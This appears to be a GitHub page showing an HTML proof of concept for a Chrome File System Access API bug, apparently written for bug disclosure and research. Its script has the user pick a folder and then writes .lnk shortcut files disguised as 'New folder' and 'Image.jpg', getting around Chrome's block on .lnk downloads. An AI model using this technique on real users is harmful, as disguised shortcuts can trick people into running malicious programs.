-
Notifications
You must be signed in to change notification settings - Fork 27
/
example_getFileHandle.html
58 lines (46 loc) · 2.15 KB
/
example_getFileHandle.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>File System Access API - security bugs</title>
</head>
<body>
<h3>File System Access API - security bugs</h3>
<div style="display: flex; flex-direction: row">
<div style="width: 50%">
<div>
<button id="butDirectory">Select a folder where to create a new folder and image.jpg</button>
</div>
<textarea id="fileContentTextArea" style="width: 100%; min-height: 300px"></textarea>
</div>
</div>
<script>
let fileHandle;
const butDir = document.getElementById('butDirectory')
// Save .lnk file to selected folder
// Google chrome is blocking .lnk files in default download method source: https://source.chromium.org/chromium/chromium/src/+/master:net/base/filename_util_internal.cc;drc=1c58af32060fa0ef3cfd4037fdc7913092d16ba2;l=155?q=%20EnsureSafeExtension&ss=chromium
// before patch: You can save .lnk file to selected folder
// after patch: You cannot save .lnk file to selected folder
butDir.addEventListener('click', async () => {
//get a user system folder
const dirHandle = await window.showDirectoryPicker()
//create New Folder shortcut file in a user system folder
const newFileHandle = await dirHandle.getFileHandle('New folder.lnk', {
create: true
})
//write real lnk code to the file that we created
const writable = await newFileHandle.createWritable()
const response = await fetch('folder.lnk')
await response.body.pipeTo(writable)
//create image.jpg shortcut file in a user system folder
const newFileHandleImage = await dirHandle.getFileHandle('Image.jpg.lnk', {
create: true
})
//write real lnk code to the file that we created
const writableForImage = await newFileHandleImage.createWritable()
const responseForImage = await fetch('lnkextra.lnk')
await responseForImage.body.pipeTo(writableForImage)
})
</script>
</body>
</html>